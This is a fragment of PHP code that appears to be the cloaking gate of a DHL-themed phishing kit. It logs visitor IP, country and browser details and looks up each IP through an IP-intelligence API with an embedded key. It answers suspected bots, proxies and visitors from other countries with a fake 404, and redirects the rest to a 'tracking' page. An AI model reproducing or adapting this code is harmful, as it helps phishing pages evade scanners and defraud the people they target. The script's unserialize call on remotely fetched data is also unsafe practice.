getAll($useragent, 'JSON'); $ip = $ip_infos['query']; $date = date("Y-m-d H:i:s", time()); $result = json_decode($result,true); $os_type = $result['os_type']; $os_name = $result['os_name']; $device_type = $result['device_type']; $browser_name = $result['browser_name']; $browser_version = $result['browser_version']; $browser_version = $result['browser_version']; $country = $ip_infos['country']; $str = " $ip ($country)$date$detection[$device_type] $browser_name $browser_version"; file_put_contents('visitors.html', $str , FILE_APPEND | LOCK_EX); } $ip = get_client_ip(); $ip_infos = file_get_contents("https://pro.ip-api.com/php/". $ip ."?key=I8h97HB1QkUVKV0&fields=status,message,country,countryCode,timezone,currency,isp,mobile,proxy,hosting,query"); $ip_infos = unserialize($ip_infos); $_SESSION['currency'] = $ip_infos['currency']; if( $ip_infos['status'] == "success" ) { if( $ip_infos['proxy'] == true ) { visitors("Detected as bot"); header('HTTP/1.0 404 Not Found'); exit(); } if( count($allowed_countries) > 0 ) { if( !in_array($ip_infos['countryCode'],$allowed_countries) ) { visitors("Country not allowed"); header('HTTP/1.0 404 Not Found'); exit(); } } $_SESSION['user_allowed'] = true; visitors("Allowed"); header("Location: tracking/?pwd=dhl"); exit(); } else { visitors("Not Allowed"); header('HTTP/1.0 404 Not Found'); exit(); } ?>